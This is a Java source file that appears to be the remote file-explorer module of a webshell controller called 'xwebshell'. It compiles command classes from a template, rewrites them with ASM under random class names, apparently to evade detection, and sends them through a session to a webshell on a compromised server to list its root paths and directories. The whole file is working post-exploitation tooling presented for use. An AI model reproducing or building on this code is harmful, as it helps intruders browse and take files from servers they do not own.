package org.x4ut15m.xwebshell.explorer.file;


import com.google.gson.Gson;
import com.google.gson.JsonArray;
import com.google.gson.JsonObject;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.Opcodes;
import org.x4ut15m.xwebshell.explorer.templates.BaseFileTakerClass;
import org.x4ut15m.xwebshell.sdk.asm.visitor.ClassNameModifierVisitor;
import org.x4ut15m.xwebshell.sdk.session.ISession;
import org.x4ut15m.xwebshell.sdk.utils.ClassNameGeneratorUtil;
import org.x4ut15m.xwebshell.sdk.webshell.IWebshellItem;

import java.net.SocketTimeoutException;
import java.util.HashMap;
import java.util.LinkedHashMap;

import static org.objectweb.asm.ClassReader.EXPAND_FRAMES;

public class FileManager {
    private IWebshellItem webshellItem;
    private Gson gson = new Gson();
    private ISession session;
    private String projectRootPath;
    private LinkedHashMap<String, FileTreeItem> rootPaths;
    // 路径缓存
    private LinkedHashMap<String, ObservableList<FileTreeItem>> cachePath;
    private ObservableList observableList = FXCollections.observableArrayList();
    private ClassLoader classLoader;

    public FileManager(String projectRootPath, ISession session, IWebshellItem webshellItem) {
        this(projectRootPath, session, webshellItem, null);
    }

    public FileManager(String projectRootPath, ISession session, IWebshellItem webshellItem, ClassLoader classLoader) {
        this.webshellItem = webshellItem;
        this.session = session;
        this.projectRootPath = projectRootPath;
        rootPaths = new LinkedHashMap<>();
        this.classLoader = classLoader;
    }

    public ObservableList<FileTreeItem> listFile(String path) {
        return listFile(path, true);
    }

    public ObservableList<FileTreeItem> refreshFile(String path) {
        return listFile(path, false);
    }


    public ObservableList<FileTreeItem> listFile(String path, boolean fromCache) {
        if (fromCache && getDataFromCache(path) != null) {
            return getDataFromCache(path);
        }

        String tmpResult = "";
        HashMap<String, HashMap<String, Object>> attributes = new HashMap<>();
        HashMap<String, Object> value = new HashMap<>();
        value.put("operation", "listFile");
        value.put("path", path);
        attributes.put("<init>", value);

        byte[] commandClassBytes = getTargetClass("listFile", attributes);
        HashMap<String, Object> param = new HashMap<>();
        param.put("code", commandClassBytes);
        try {
            tmpResult = session.sendRequest(param);
        } catch (SocketTimeoutException e) {
            tmpResult = "{\"status\":\"failed\",\"msg\":\"connect server timeout.\"}";

        }
        JsonObject jsonObject = gson.fromJson(tmpResult, JsonObject.class);
        if (jsonObject.get("status").getAsString().equals("successful")) {
            FileItem msg = gson.fromJson(jsonObject.get("msg").toString(), FileItem.class);
            if (".".equals(path) || "..".equals(path)) {
            }
            cacheThisPath(msg);
            return getDataFromCache(path);
        }
        return null;
    }

    public void init() {
        String tmpResult = "";
        HashMap<String, HashMap<String, Object>> attributes = new HashMap<>();
        HashMap<String, Object> value = new HashMap<>();
        value.put("operation", "initFileManager");
        value.put("path", projectRootPath);
        attributes.put("<init>", value);

        byte[] commandClassBytes = getTargetClass("initFileManager", attributes);
        HashMap<String, Object> param = new HashMap<>();
        param.put("code", commandClassBytes);
        try {
            tmpResult = session.sendRequest(param);
        } catch (SocketTimeoutException e) {
            tmpResult = "{\"status\":\"failed\",\"msg\":\"connect server timeout.\"}";
        }

        JsonObject jsonObject = gson.fromJson(tmpResult, JsonObject.class);
        if (jsonObject.get("status").getAsString().equals("successful")) {
            JsonObject msg = jsonObject.get("msg").getAsJsonObject();
            JsonArray rootPaths = msg.get("rootPath").getAsJsonArray();
            for (int i = 0; i < rootPaths.size(); i++) {
                FileItem current = gson.fromJson(gson.toJson(rootPaths.get(i)), FileItem.class);
                if (current.isDirectory()) {
                    this.rootPaths.put(current.getAbsolutePath(), new FileTreeItem(current));
                    cacheThisPath(current);
                }
            }

        }
    }

    // 缓存目录
    public boolean cacheThisPath(FileItem fileItem) {
        if (fileItem == null) return false;
        if (cachePath == null) {
            cachePath = new LinkedHashMap<>();
        }
        if (cachePath.get(fileItem.getAbsolutePath()) == null && fileItem.isDirectory()) {
            ObservableList<FileTreeItem> pathData = FXCollections.observableArrayList();
            for (FileItem subFile : fileItem.getSubFiles()) {
                pathData.add(new FileTreeItem(subFile));
            }
            cachePath.put(fileItem.getAbsolutePath(), pathData);
        }
        return true;
    }

    public ObservableList<FileTreeItem> getDataFromCache(String path) {
        if (cachePath != null) {
            return cachePath.get(path);
        }
        return null;
    }

    public LinkedHashMap<String, FileTreeItem> getRootPaths() {
        return rootPaths;
    }

    public LinkedHashMap<String, ObservableList<FileTreeItem>> getCachePath() {
        return cachePath;
    }

    public byte[] getTargetClass(String operation, HashMap<String, HashMap<String, Object>> attributes) {
        byte[] classBytes = null;
        switch (operation) {
            case "initFileManager":
            case "listFile":
            default:
                classBytes = getInitClassbytes(attributes);
                break;
        }

        return classBytes;
    }

    protected byte[] getInitClassbytes(HashMap<String, HashMap<String, Object>> attributes) {
        byte[] result = null;
        String targetClassName = BaseFileTakerClass.class.getName();
        if (classLoader != null) {
            try {
                ClassReader classReader = new ClassReader(classLoader.getResourceAsStream(targetClassName.replace('.', '/') + ".class"));
                ClassWriter classWriter = new ClassWriter(classReader, ClassWriter.COMPUTE_FRAMES | ClassWriter.COMPUTE_MAXS);
                String newClassName = ClassNameGeneratorUtil.getARandomClassName();

                ClassNameModifierVisitor classNameModifierVisitor = new ClassNameModifierVisitor(Opcodes.ASM9, classWriter, newClassName, targetClassName.replaceAll("\\.", "/"), attributes, webshellItem);
                classReader.accept(classNameModifierVisitor, EXPAND_FRAMES);

                result = classWriter.toByteArray();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        return result;

    }

}
